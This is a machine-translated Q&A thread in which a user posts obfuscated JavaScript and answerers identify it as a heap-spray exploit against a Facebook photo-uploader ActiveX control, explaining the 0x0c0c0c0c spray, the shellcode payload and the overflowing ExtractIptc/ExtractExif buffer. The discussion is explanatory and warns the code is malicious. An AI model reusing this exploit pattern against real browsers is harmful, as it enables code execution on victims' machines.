2009-03-16 16 views
6

Nie rozumiem ten fragment kodu:Nie rozumiem ten kod

function ms(){ 
    var plc=unescape('". 
    unescape('\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0); 
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav(); 
    return(1); 
    } 

W powyższej funkcji I nie może wydawać się dowiedzieć typy zmiennych, lub dowiedzieć się, co robi z hsta zmienna, a co to przypisanie do niego:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
for(i=0;i<hb;i++)m[i]=ss+plc; 

ja też nie mogę zrozumieć tę funkcję:

function fb(){ 
    try { 
     var obj=null; 
     obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); 
     if(obj){ 
      ms(); 
      var buf = addr(0x0c0c0c0c); 
      while (buf.length < 400) buf += buf; 
      buf = buf.substring(0,400); 
      obj.ExtractIptc = buf; 
      obj.ExtractExif = buf; 
      } 
     } catch(e){} 
    return 0; 
    } 

Co oznacza następujący kod?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

Jaką zmienną jest?

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

Co to za fragment kodu próbuje zrobić?

Oto kilka funkcji:

function hex(num,width){ 
    var digits='ABCDEF'; 
    var hex=digits.substr(num&0xF,1); 
    while(num>0xF){ 
     num=num>>>4; 
     hex=digits.substr(num&0xF,1)+hex; 
     } 
    var width=(width?width:0); 
    while(hex.length<width)hex='0'+hex; 
    return hex; 
} 

function addr(addr){ 
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4)); 
    } 

Wszelkie wskazówki będą mile widziane.

+0

To nie wszystko PHP.W rzeczywistości tylko niewielka jego część wygląda jak PHP. Reszta wygląda jak JavaScript. Ponadto, lepiej zrób formatowanie kodu - jest prawie niemożliwe do odczytania. –

+0

@Peter Bailey: Tak, naprawiłem to dla niego. –

+0

Zmodyfikowałem swoją odpowiedź, podając więcej szczegółów. –

Odpowiedz

26

To fragment kodu JavaScript próbujący wykorzystać lukę w zabezpieczeniach związaną z Facebookiem, więcej s konkretnie do kontrolki ActiveX po stronie klienta, która przesyła obraz.

Część cobj próbuje utworzyć obiekt klasy ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}, który jest formantem do przesyłania zdjęć ActiveX. Funkcje ExtractIptc i ExtractExif należą do tego konkretnego kontrolki ActiveX.

Rdzeniem kodu jest manipulacja adresami pamięci, przesuwanie, używanie masek do oddzielania bitów wysokich i niskich. Na przykład hex((addr>>16)&0xFFFF,4)) przyjmuje adres, przesuwa go o 16 bitów w prawo, czyści dolną część i konwertuje ją na liczbę szesnastkową. Aby właściwie zrozumieć większość tego kodu, powinieneś mieć odpowiednie narzędzia do debugowania.

Googling {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID dał kilka interesujących wyników należy spojrzeć na:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

Uwaga, to nie jest PHP. To javascript.

więcej szczegółów ...

cobj jest prawdopodobnie przetłumaczone na CreateObject() wywołanie. Każda zarejestrowana kontrolka ActiveX ma swój własny identyfikator klasy i ma postać {0000000000-0000-0000-0000-000000000000}. Jeśli chcesz odwołać się do zarejestrowanej biblioteki i utworzyć jej instancję, możesz użyć jej nazwy lub jej identyfikatora klasy.

Samym kontrolkiem ActiveX powinien być plik .OCX lub .DLL na komputerze. Jeśli uda ci się znaleźć ten plik i go zdebugować, uzyskasz najbardziej szczegółowe informacje na temat funkcji ExtractIptc i ExtractExif. Ponownie, te dwie funkcje wydają się mieć luki w zabezpieczeniach, gdy są wywoływane w określony sposób i właśnie to próbuje wykorzystać ten skrypt.

Część var hsta=0x0c0c0c0c definiuje zmienną hsta, równą liczbie szesnastkowej 0c0c0c0c. To jest tak samo jak pisanie var hsta = 202116108. W inżynierii komputerowej łatwiej jest zajmować się adresami szesnastkowymi niż dziesiętnymi, ponieważ adresy i dane w pamięci komputera są binarne i mogą być bezpośrednio reprezentowane jako liczba szesnastkowa. Więcej szczegółów na temat szesnastkowego tam: http://en.wikipedia.org/wiki/Hexadecimal.

Nazwa zmiennej hsta wydaje się być w notacji węgierskiej (pierwsza litera oznacza typ zmiennej - h dla heksadecymalnej). Dlatego zakładam, że jest to szesnastkowy adres startowy (hsta). Podążając tym samym tokiem myślenia, domyślam się, że pl oznacza ładunek, a plc oznacza kod ładunku.

Kod ładunku jest kodem, który komputer wykona, jeśli exploit się powiedzie, i to jest to, co widać na początku skryptu (\x43\x43\x43\x43\n....\xEF). Jest kodowana jako shell code dla konkretnej architektury procesora i systemu operacyjnego. Oznacza to, że kod jest już skompilowany, samodzielny i może być podłączony bezpośrednio do procesora. Jeśli to rozszyfrujesz, prawdopodobnie znajdziesz coś w pobliżu kodu maszynowego. To chyba nic pozytywnego.

Funkcja hex(num,width) konwertuje liczbę dziesiętną na jej liczbę szesnastkową. Przetestowałem tę funkcję osobno i zwróciło 3E8 podczas podawania 1000. Zmienna szerokości jest używana po prostu do opuszczenia skryptu, jeśli wynikowa liczba szesnastkowa jest większa niż podana.

tej części:

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

Zmienna buf jest bufor. Bufor to nic innego jak dane w pamięci. Może być połączony jako ciąg, jak pokazano w tym kodzie. Domyślam się, że bufor o wielkości 400 bajtów tworzony jest z dowolnej zawartości w pamięci przy 0x0c0c0c0c, a następnie zasilany jest w dwie funkcje.

Brak tu wielu definicji funkcji. Mianowicie, funkcja hav().

+1

Myślę, że istotnym pytaniem dla naszego programu operacyjnego jest "skąd otrzymałeś ten kod?". = X –

+4

w prawo ... cóż, widać, że jego nazwa użytkownika również nie jest niewinna. –

+0

Heh ... Dobry punkt ... –

1

Naprawiłem formatowanie tak często, jak tylko mogłem, ale nadal wydaje się, że brakuje kawałków. Przynajmniej widzę błędy składniowe, niezainicjowane zmienne, itp.

Jeśli to działający kod, edytuj swoje pytanie i (używając przycisku "kod" "101/010" lub wciskając tylko 4 spacje zamiast cytowania za pomocą przycisku „"”) zakładać rzeczywisty kod tak, że to, co widzimy pasuje co widzisz EDIT:. nie próbuj uruchomić ten kod jego prawdopodobnie złośliwy

Jeśli nie jest to kod działa!. , jest twoja odpowiedź: to nie działa, więc próbowanie dowiedzieć się, jak to działa, nie ma sensu.